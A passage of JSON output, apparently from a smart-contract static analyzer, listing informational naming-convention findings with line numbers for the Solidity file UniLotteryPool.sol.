4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5235]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5395]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6876]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5372]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5505]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5046]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5161, 5162, 5163]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5072]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5131]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5119]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5227]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5227, 5228, 5229, 5230, 5231, 5232, 5233]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5420]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5706]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5387]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5625]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5243]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4874, 4875, 4876]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7432]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5345]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5634]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5351]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5505]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1367]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5514]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5333]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5227]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5152, 5153, 5154, 5155]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5339]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5312, 5313, 5314, 5315, 5316, 5309, 5310, 5311]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5235, 5236, 5237, 5238, 5239, 5240, 5241]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5283]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5429]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5447]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5372]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5251, 5252, 5253, 5254, 5255, 5256, 5257]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4997]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5223]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5599]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5554, 5555, 5556, 5557, 5558, 5559]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5529]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5561]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5251]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5094]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4890]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5046]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6032]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5575]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5283, 5284, 5285, 5286, 5287, 5288, 5289]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5420]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5339]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5625]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6102]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6020]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4884]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6278, 6279]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5514]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5216, 5217, 5214, 5215]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5487]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5965]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5600, 5601, 5602, 5603, 5604, 5605, 5599]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7016]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5698, 5699, 5700]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5536, 5537, 5538, 5539, 5535]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5125]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5275]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4960]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6020, 6021, 6022, 6023, 6024, 6025, 6026, 6027, 6028, 6029, 6030]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3614]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5129]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5541, 5542, 5543, 5544, 5545]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5235]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1824, 1825, 1826, 1827, 1828, 1829, 1830, 1831, 1832, 1833, 1834, 1835, 1836, 1819, 1820, 1821, 1822, 1823]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5575, 5576, 5577, 5578, 5579, 5580, 5581]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5309]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5634]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5643]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5291, 5292, 5293, 5294, 5295, 5296, 5297, 5298]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5487, 5488, 5489, 5490, 5491, 5492, 5493, 5494]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3613]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5599]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5673]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4891]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5248, 5249, 5243, 5244, 5245, 5246, 5247]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5922, 5923, 5924, 5925, 5926, 5927, 5928, 5929, 5930, 5931, 5932, 5933, 5934, 5935, 5936, 5937, 5938, 5939, 5940, 5941, 5942, 5943, 5944, 5945, 5946, 5947, 5948, 5949, 5950, 5951, 5952, 5953, 5954, 5955, 5956, 5957, 5958, 5959, 5960, 5961, 5962, 5963]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5825]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5327]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5068]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5663]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5046]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6083]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3615]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4997]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7184]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4940]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5535]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5243]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5333]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4921, 4922, 4923, 4924]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5561]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5300]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5411]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5568, 5569, 5570, 5571, 5572, 5573]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5259]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5607, 5608, 5609, 5610, 5611, 5612, 5613, 5614]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5898]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6891]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5625]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5850]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5411, 5412, 5413, 5414, 5415, 5416, 5417, 5418]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6823]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5993]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5115]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5379, 5380, 5381, 5382, 5383, 5384, 5385]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5523]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5789]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6745]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [2464, 2465, 2466, 2467, 2468, 2469, 2470, 2471, 2472, 2473, 2457, 2458, 2459, 2460, 2461, 2462, 2463]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5785]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1418]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5333]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3567]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5283]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5634]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5821]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [1985]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6530]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5309]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7422]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5467]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5523]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5267]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5098]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5429]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5223]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7435]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5789]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6083]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5683, 5684, 5685]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5219, 5220, 5221]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5358, 5359, 5360, 5361, 5362, 5363]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5438]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5583]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5157]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5291]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6032]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5734]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5879]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5785]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4946]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5064]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4279, 4280, 4281, 4282, 4283, 4284]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5854]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5275]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5157, 5158, 5159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5643, 5644, 5645, 5646, 5647, 5648, 5649, 5650, 5651]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5113]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5535]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5275]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5438]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5591, 5592, 5593, 5594, 5595, 5596, 5597]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7008]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5910]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5541]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5251]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6043]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5632, 5625, 5626, 5627, 5628, 5629, 5630, 5631]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5447, 5448, 5449, 5450, 5451, 5452, 5453, 5454, 5455]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5280, 5281, 5275, 5276, 5277, 5278, 5279]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5379]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5275]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6144, 6145, 6146, 6147, 6148, 6149, 6150, 6151, 6152, 6153, 6154, 6155, 6156, 6157, 6158, 6159, 6160, 6161, 6162, 6163, 6164, 6165, 6166, 6167, 6168, 6169, 6170, 6171, 6172, 6173, 6174, 6175, 6176, 5106, 5107, 5108, 5109, 5110, 5111, 5112, 5113, 5114, 5115, 5116, 5117, 5118, 5119, 5120, 5121, 5122, 5123, 5124, 5125, 5126, 5127, 5128, 5129, 5130, 5131, 5132, 5133, 5134, 5135, 5136, 5137, 5138, 5139, 5140, 5141, 5142, 5143, 5144, 5145, 5146, 5147, 5148, 5149, 5150, 5151, 5152, 5153, 5154, 5155, 5156, 5157, 5158, 5159, 5160, 5161, 5162, 5163, 5164, 5165, 5166, 5167, 5168, 5169, 5170, 5171, 5172, 5173, 5174, 5175, 5176, 5177, 5178, 5179, 5180, 5181, 5182, 5183, 5184, 5185, 5186, 5187, 5188, 5189, 5190, 5191, 5192, 5193, 5194, 5195, 5196, 5197, 5198, 5199, 5200, 5201, 5202, 5203, 5204, 5205, 5206, 5207, 5208, 5209, 5210, 5211, 5212, 5213, 5214, 5215, 5216, 5217, 5218, 5219, 5220, 5221, 5222, 5223, 5224, 5225, 5226, 5227, 5228, 5229, 5230, 5231, 5232, 5233, 5234, 5235, 5236, 5237, 5238, 5239, 5240, 5241, 5242, 5243, 5244, 5245, 5246, 5247, 5248, 5249, 5250, 5251, 5252, 5253, 5254, 5255, 5256, 5257, 5258, 5259, 5260, 5261, 5262, 5263, 5264, 5265, 5266, 5267, 5268, 5269, 5270, 5271, 5272, 5273, 5274, 5275, 5276, 5277, 5278, 5279, 5280, 5281, 5282, 5283, 5284, 5285, 5286, 5287, 5288, 5289, 5290, 5291, 5292, 5293, 5294, 5295, 5296, 5297, 5298, 5299, 5300, 5301, 5302, 5303, 5304, 5305, 5306, 5307, 5308, 5309, 5310, 5311, 5312, 5313, 5314, 5315, 5316, 5317, 5318, 5319, 5320, 5321, 5322, 5323, 5324, 5325, 5326, 5327, 5328, 5329, 5330, 5331, 5332, 5333, 5334, 5335, 5336, 5337, 5338, 5339, 5340, 5341, 5342, 5343, 5344, 5345, 5346, 5347, 5348, 5349, 5350, 5351, 5352, 5353, 5354, 5355, 5356, 5357, 5358, 5359, 5360, 5361, 5362, 5363, 5364, 5365, 5366, 5367, 5368, 5369, 5370, 5371, 5372, 5373, 5374, 5375, 5376, 5377, 5378, 5379, 5380, 5381, 5382, 5383, 5384, 5385, 5386, 5387, 5388, 5389, 5390, 5391, 5392, 5393, 5394, 5395, 5396, 5397, 5398, 5399, 5400, 5401, 5402, 5403, 5404, 5405, 5406, 5407, 5408, 5409, 5410, 5411, 5412, 5413, 5414, 5415, 5416, 5417, 5418, 5419, 5420, 5421, 5422, 5423, 5424, 5425, 5426, 5427, 5428, 5429, 5430, 5431, 5432, 5433, 5434, 5435, 5436, 5437, 5438, 5439, 5440, 5441, 5442, 5443, 5444, 5445, 5446, 5447, 5448, 5449, 5450, 5451, 5452, 5453, 5454, 5455, 5456, 5457, 5458, 5459, 5460, 5461, 5462, 5463, 5464, 5465, 5466, 5467, 5468, 5469, 5470, 5471, 5472, 5473, 5474, 5475, 5476, 5477, 5478, 5479, 5480, 5481, 5482, 5483, 5484, 5485, 5486, 5487, 5488, 5489, 5490, 5491, 5492, 5493, 5494, 5495, 5496, 5497, 5498, 5499, 5500, 5501, 5502, 5503, 5504, 5505, 5506, 5507, 5508, 5509, 5510, 5511, 5512, 5513, 5514, 5515, 5516, 5517, 5518, 5519, 5520, 5521, 5522, 5523, 5524, 5525, 5526, 5527, 5528, 5529, 5530, 5531, 5532, 5533, 5534, 5535, 5536, 5537, 5538, 5539, 5540, 5541, 5542, 5543, 5544, 5545, 5546, 5547, 5548, 5549, 5550, 5551, 5552, 5553, 5554, 5555, 5556, 5557, 5558, 5559, 5560, 5561, 5562, 5563, 5564, 5565, 5566, 5567, 5568, 5569, 5570, 5571, 5572, 5573, 5574, 5575, 5576, 5577, 5578, 5579, 5580, 5581, 5582, 5583, 5584, 5585, 5586, 5587, 5588, 5589, 5590, 5591, 5592, 5593, 5594, 5595, 5596, 5597, 5598, 5599, 5600, 5601, 5602, 5603, 5604, 5605, 5606, 5607, 5608, 5609, 5610, 5611, 5612, 5613, 5614, 5615, 5616, 5617, 5618, 5619, 5620, 5621, 5622, 5623, 5624, 5625, 5626, 5627, 5628, 5629, 5630, 5631, 5632, 5633, 5634, 5635, 5636, 5637, 5638, 5639, 5640, 5641, 5642, 5643, 5644, 5645, 5646, 5647, 5648, 5649, 5650, 5651, 5652, 5653, 5654, 5655, 5656, 5657, 5658, 5659, 5660, 5661, 5662, 5663, 5664, 5665, 5666, 5667, 5668, 5669, 5670, 5671, 5672, 5673, 5674, 5675, 5676, 5677, 5678, 5679, 5680, 5681, 5682, 5683, 5684, 5685, 5686, 5687, 5688, 5689, 5690, 5691, 5692, 5693, 5694, 5695, 5696, 5697, 5698, 5699, 5700, 5701, 5702, 5703, 5704, 5705, 5706, 5707, 5708, 5709, 5710, 5711, 5712, 5713, 5714, 5715, 5716, 5717, 5718, 5719, 5720, 5721, 5722, 5723, 5724, 5725, 5726, 5727, 5728, 5729, 5730, 5731, 5732, 5733, 5734, 5735, 5736, 5737, 5738, 5739, 5740, 5741, 5742, 5743, 5744, 5745, 5746, 5747, 5748, 5749, 5750, 5751, 5752, 5753, 5754, 5755, 5756, 5757, 5758, 5759, 5760, 5761, 5762, 5763, 5764, 5765, 5766, 5767, 5768, 5769, 5770, 5771, 5772, 5773, 5774, 5775, 5776, 5777, 5778, 5779, 5780, 5781, 5782, 5783, 5784, 5785, 5786, 5787, 5788, 5789, 5790, 5791, 5792, 5793, 5794, 5795, 5796, 5797, 5798, 5799, 5800, 5801, 5802, 5803, 5804, 5805, 5806, 5807, 5808, 5809, 5810, 5811, 5812, 5813, 5814, 5815, 5816, 5817, 5818, 5819, 5820, 5821, 5822, 5823, 5824, 5825, 5826, 5827, 5828, 5829, 5830, 5831, 5832, 5833, 5834, 5835, 5836, 5837, 5838, 5839, 5840, 5841, 5842, 5843, 5844, 5845, 5846, 5847, 5848, 5849, 5850, 5851, 5852, 5853, 5854, 5855, 5856, 5857, 5858, 5859, 5860, 5861, 5862, 5863, 5864, 5865, 5866, 5867, 5868, 5869, 5870, 5871, 5872, 5873, 5874, 5875, 5876, 5877, 5878, 5879, 5880, 5881, 5882, 5883, 5884, 5885, 5886, 5887, 5888, 5889, 5890, 5891, 5892, 5893, 5894, 5895, 5896, 5897, 5898, 5899, 5900, 5901, 5902, 5903, 5904, 5905, 5906, 5907, 5908, 5909, 5910, 5911, 5912, 5913, 5914, 5915, 5916, 5917, 5918, 5919, 5920, 5921, 5922, 5923, 5924, 5925, 5926, 5927, 5928, 5929, 5930, 5931, 5932, 5933, 5934, 5935, 5936, 5937, 5938, 5939, 5940, 5941, 5942, 5943, 5944, 5945, 5946, 5947, 5948, 5949, 5950, 5951, 5952, 5953, 5954, 5955, 5956, 5957, 5958, 5959, 5960, 5961, 5962, 5963, 5964, 5965, 5966, 5967, 5968, 5969, 5970, 5971, 5972, 5973, 5974, 5975, 5976, 5977, 5978, 5979, 5980, 5981, 5982, 5983, 5984, 5985, 5986, 5987, 5988, 5989, 5990, 5991, 5992, 5993, 5994, 5995, 5996, 5997, 5998, 5999, 6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010, 6011, 6012, 6013, 6014, 6015, 6016, 6017, 6018, 6019, 6020, 6021, 6022, 6023, 6024, 6025, 6026, 